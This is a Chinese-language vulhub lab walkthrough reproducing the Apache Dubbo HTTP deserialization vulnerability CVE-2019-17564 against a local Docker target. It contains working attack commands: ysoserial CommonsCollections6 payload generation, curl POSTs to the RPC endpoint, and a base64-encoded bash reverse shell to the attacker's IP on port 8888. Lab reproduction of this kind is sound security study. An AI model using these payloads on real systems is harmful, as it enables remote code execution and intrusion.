目录
一.漏洞描述
Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting. httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。
二.影响范围
Apache Dubbo 2.7.4及以前版本
三.测试环境
虚拟机 :VMware Workstation 15.5 Pro
网络模式 :VMnet8(能够相互通信即可)
Centos7(vulhub):IP地址:192.168.184.155
KALI :IP地址:192.168.184.136
Apache Dubbo 2.7.3
四.搭建环境
1.vulhub靶场下载
2.docker-compose下载地址
3.服务启动
一切都准备好之后就可以启动CVE-2019-17564了.
先cd到Dubbo目录下的CVE-2019-17564里面,然后使用docker-compose启动环境.
docker-compose up -d #安装并启动环境
docker ps #查看当前正在运行的服务
可以看到Dubbo的端口为8080
ip a #查看IP 我的IP为192.168.184.155
在浏览器端输入 你的ip+端口8080 访问服务,如果显示空白页面,则表示服务搭建成功!
五.漏洞复现
1.查看开放端口
打开我们最最最熟悉的kali系统
进入root用户:
(1) su root #输入你的root密码
(2) sudo -s #密码默认为kali
查看Dubbo服务开放的端口
nmap -p- 192.168.184.155 #查看开放端口,这里输入刚刚你在Centos查到的IP
对外开放了8080端口和2181端口,其中2181端口为Zookeeper的端口,我们本地下载Zookeeper,使用其中自带的zkCli建立一个交互式的shell来确定RPC接口的名称.
2.下载连接Zookeeper服务器
Zookeeper下载地址:
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
如果下载慢或者失败,可以将连接复制到迅雷去下载.
下载好之后直接将文件拖至kali桌面.
tar -xvf zookeeper-3.3.3.tar.gz #解压
3.获取RPC接口
解压后,进入Zookeeper执行bin目录下的zkCli.sh.
注意:这里的IP是你靶机(我的是Centos7)的IP , 不是kali的IP.
./zkCli.sh -server 192.168.184.155:2181 #使用zkCli连接到这台Zookeeper服务器
获取RPC接口名称.
4.使用ysoserial工具生成payload
ysoserial下载链接 :下载好之后直接将文件拖至kali桌面.
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
接着用ysoserial工具生成CommonsCollections6的Payload作为POST Body发送到
http://192.168.184.155:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:
java -jar ysoserial-master-2874a69f61-1.jar CommonsCollections6 "touch /tmp/success" > 1.poc #生成一个创建success的1.poc
curl -XPOST --data-binary @1.poc http://192.168.184.155:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机.这里记得换成你靶机的IP
然后去靶机验证是否发送成功.
注意:这里在生成1.poc的时候也可能会出现以下情况:
发生这种情况事因为你kali的JDK和编译ysoserial.jar的JDK不兼容导致.
参考文章:
5.靶机验证
进入我们的Centos7靶机,查看容器内是否有success文件生成
docker ps #查看正在启动的容器
docker exec -it NAMES bash #查看容器
执行完以上kali的代码之后,靶机这边应该会出现一个success文件:
6.制作反弹shell的脚本
切换到kali这边,我们在这里制作反弹shell脚本.
进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个8888
[~]#棱角 ::Edge.Forum* #棱角社区
这里必须使用base64编码的形式,其他的反弹不了,我也不懂为什么,知道的同学可以将答案发到评论区.
java -jar ysoserial-master-2874a69f61-1.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > 2.poc #生成反弹shell的脚本2.poc ,这里将刚刚复制的内容贴到双引号里面执行
curl -XPOST --data-binary @2.poc http://192.168.184.155:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机 , 注意,这里是你的靶机 IP
六.修复方案
升级到更高的版本.